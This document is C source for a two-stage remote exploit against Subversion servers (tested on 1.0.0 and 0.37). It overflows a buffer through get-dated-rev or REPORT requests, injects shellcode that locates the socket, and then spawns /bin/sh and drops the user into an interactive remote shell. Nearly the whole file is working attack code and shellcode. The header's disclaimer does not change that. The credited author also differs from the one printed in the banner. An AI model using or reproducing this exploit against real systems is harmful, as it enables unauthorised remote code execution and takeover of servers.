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/*****************************************************************
* hoagie_subversion.c
*
* Remote exploit against Subversion-Servers.
*
* Author: KnbykL <info@knbykl.org>
*
* Tested on Subversion 1.0.0 and 0.37
*
* Algorithm:
* This is a two-stage exploit. The first stage overflows a buffer
* on the stack and leaves us ~60 bytes of machine code to be
* executed. We try to find the socket-fd there and then do a
* read(2) on the socket. The exploit then sends the second stage
* loader to the server, which can be of any length (up to the
* obvious limits, of course). This second stage loader spawns
* /bin/sh on the server and connects it to the socket-fd.
*
* Credits:
* void.at
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
enum protocol { SVN, SVNSSH, HTTP, HTTPS };
char stage1loader[]=
// begin socket fd search
"\x31\xdb" // xor %ebx, %ebx
"\x90" // nop (UTF-8)
"\x53" // push %ebx
"\x58" // pop %eax
"\x50" // push %eax
"\x5f" // pop %edi # %eax = %ebx = %edi = 0
"\x2c\x40" // sub $0x40, %al
"\x50" // push %eax
"\x5b" // pop %ebx
"\x50" // push %eax
"\x5a" // pop %edx # %ebx = %edx = 0xC0
"\x57" // push %edi
"\x57" // push %edi # safety-0
"\x54" // push %esp
"\x59" // pop %ecx # %ecx = pointer to the buffer
"\x4b" // dec %ebx # beginloop:
"\x57" // push %edi
"\x58" // pop %eax # clear %eax
"\xd6" // salc (UTF-8)
"\xb0\x60" // movb $0x60, %al
"\x2c\x44" // sub $0x44, %al # %eax = 0x1C
"\xcd\x80" // int $0x80 # fstat(i, &stat)
"\x58" // pop %eax
"\x58" // pop %eax
"\x50" // push %eax
"\x50" // push %eax
"\x38\xd4" // cmp %dl, %ah # uppermost 2 bits of st_mode set?
"\x90" // nop (UTF-8)
"\x72\xed" // jb beginloop
"\x90" // nop (UTF-8)
"\x90" // nop (UTF-8) # %ebx now contains the socket fd
// begin read(2)
"\x57" // push %edi
"\x58" // pop %eax # zero %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax # %eax=3
//"\x54" // push %esp
//"\x59" // pop %ecx # %ecx ... address of buffer
//"\x54" // push %edi
//"\x5a" // pop %edx # %edx ... bufferlen (0xC0)
"\xcd\x80" // int $0x80 # read(2) second stage loader
"\x39\xc7" // cmp %eax, %edi
"\x90" // nop (UTF-8)
"\x7f\xf3" // jg startover
"\x90" // nop (UTF-8)
"\x90" // nop (UTF-8)
"\x90" // nop (UTF-8)
"\x54" // push %esp
"\xc3" // ret # execute second stage loader
"\x90" // nop (UTF-8)
"\0" // %ebx still contains the fd we can use in the 2nd stage loader.
;
char stage2loader[]=
// dup2 - %ebx contains the fd
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x00\x00\x00\x00" // mov $0x0, %ecx
"\xcd\x80" // int $0x80
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x01\x00\x00\x00" // mov $0x1, %ecx
"\xcd\x80" // int $0x80
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x02\x00\x00\x00" // mov $0x2, %ecx
"\xcd\x80" // int $0x80
// start /bin/sh
"\x31\xd2" // xor %edx, %edx
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xb8\x0b\x00\x00\x00" // mov $0xb, %eax
"\xcd\x80" // int $0x80
"\xb8\x01\x00\x00\x00" // mov $0x1, %eax
"\xcd\x80" // int %0x80 (exit)
;
int stage2loaderlen=69;
char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"
"%s\n";
char xmlreqfmt[]=
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
"<D:creationdate>%s%c%c%c%c</D:creationdate>"
"</S:dated-rev-report>";
int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
{
char *ptr;
char bfr[1000];
ptr=strstr(uri,"://");
if(!ptr) return -1;
*ptr=0;
snprintf(bfr,sizeof(bfr),"%s",uri);
if(!strcmp(bfr,"http"))
*proto=HTTP, *port=80;
else if(!strcmp(bfr,"svn"))
*proto=SVN, *port=3690;
else
{
printf("Unsupported protocol %s\n",bfr);
return -1;
}
uri=ptr+3;
if((ptr=strchr(uri,':')))
{
*ptr=0;
snprintf(host,1000,"%s",uri);
uri=ptr+1;
if((ptr=strchr(uri,'/'))==NULL) return -1;
*ptr=0;
snprintf(bfr,1000,"%s",uri);
*port=(int)strtol(bfr,NULL,10);
*ptr='/';
uri=ptr;
}
else if((ptr=strchr(uri,'/')))
{
*ptr=0;
snprintf(host,1000,"%s",uri);
*ptr='/';
uri=ptr;
}
snprintf(repos,1000,"%s",uri);
return 0;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int main(int argc, char **argv)
{
int sock, port;
size_t size;
char cmd[1000], reply[1000], buffer[1000];
char svdcmdline[1000];
char host[1000], repos[1000], *ptr, *caddr;
unsigned long addr;
struct sockaddr_in sin;
struct hostent *he;
enum protocol proto;
/*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
write(sock,stage1loader,strlen(stage1loader));
close(sock);
return 0;*/
printf("hoagie_subversion - remote exploit against subversion servers\n"
"by greuff@void.at\n\n");
if(argc!=3)
{
printf("Usage: %s serverurl offset\n\n",argv[0]);
printf("Examples:\n"
" %s svn://localhost/repository 0x41414141\n"
" %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);
printf("The offset is an alphanumeric address (or UTF-8 to be\n"
"more precise) of a pop instruction, followed by a ret.\n"
"Brute force when in doubt.\n\n");
printf("When exploiting against an svn://-url, you can supply a\n"
"binary offset too.\n\n");
exit(1);
}
// parse the URI
snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]);
if(parse_uri(argv[1],&proto,host,&port,repos)<0)
{
printf("URI parse error\n");
exit(1);
}
printf("parse_uri result:\n"
"Protocol: %d\n"
"Host: %s\n"
"Port: %d\n"
"Repository: %s\n\n",proto,host,port,repos);
addr=strtoul(argv[2],NULL,16);
caddr=(char *)&addr;
printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
perror("socket");
return -1;
}
he=gethostbyname(host);
if(he==NULL)
{
herror("gethostbyname");
return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
{
perror("connect");
return -1;
}
if(proto==SVN)
{
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader,
caddr[0],caddr[1],caddr[2],caddr[3]);
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
}
else if(proto==HTTP)
{
// preparing the request...
snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
caddr[0],caddr[1],caddr[2],caddr[3]);
size=strlen(buffer);
snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);
// now sending the request, immediately followed by the 2nd stage loader
printf("Sending:\n%s",cmd);
write(sock,cmd,strlen(cmd));
sleep(1);
write(sock,stage2loader,stage2loaderlen);
}
// SHELL LOOP
printf("Entering shell loop...\n");
exec_sh(sock);
/*sleep(1);
close(sock);
printf("\nConnecting to the shell...\n");
exec_sh(connect_sh()); */
return 0;
}
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